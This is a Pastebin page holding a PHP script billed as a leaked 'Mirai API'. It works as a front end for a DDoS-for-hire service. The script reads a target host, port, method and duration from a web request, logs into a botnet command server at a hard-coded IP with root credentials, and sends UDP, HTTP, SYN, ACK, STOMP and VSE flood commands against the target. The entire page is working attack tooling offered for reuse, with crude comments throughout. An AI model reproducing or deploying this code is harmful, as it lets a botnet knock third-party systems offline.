Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(E_ALL);
- /*
- Mirai API by the only one Axiga - Leaked
- */
- // API Keys
- $APIKeys = array("dankmemes", "weed");
- // VALID attack methods
- $attackMethods = array("RAWUDP", "HTTP", "STOMP", "DNS", "VSE", "SYN", "ACK");
- // I'm so gay
- function htmlsc($string)
- {
- return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
- }
- // Check if all parameters are passed
- if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
- die("You are missing a parameter");
- // Variables for attack
- $key = htmlsc($_GET["key"]);
- $host = htmlsc($_GET["host"]);
- $port = htmlsc($_GET["port"]);
- $method = htmlsc(strtoupper($_GET["method"]));
- $time = htmlsc($_GET["time"]);
- $command = "";
- // Check if API key is valid
- if (!in_array($key, $APIKeys)) die("Invalid API key");
- // Check if attack method is valid
- if (!in_array($method, $attackMethods)) die("Invalid attack method");
- // Set command for method (should really use a switch() statement but who cares?)
- if ($method == "UDP") $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
- else if ($method == "HTTP") $command = "http $host $time dport=$port domain=$host path=/ conns=200\r\n";
- else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
- else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
- else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
- else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
- // Add other methods if you need them, I'm sure you're capable of doing that (I hope)
- // Connect
- $socket = fsockopen("159.65.90.111", "81"); // Example: $socket = fsockopen("1.2.3.4", "23");
- ($socket ? null : die("Failed to connect"));
- // Login
- fwrite($socket, " \r\n"); // Leave This.
- sleep(3);
- fwrite($socket, "root\r\n"); // Username
- sleep(3);
- fwrite($socket, "1337\r\n"); // Password
- // Send command
- sleep(4); // Why? I've noticed for some people it doesn't work w/o the sleep() (or anything before fwrite()ing $command)!
- fwrite($socket, $command);
- // Close connection
- fclose($socket);
- // Say the attack has been sent
- echo "Attack sent to $host:$port for $time seconds using method $method!\n";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement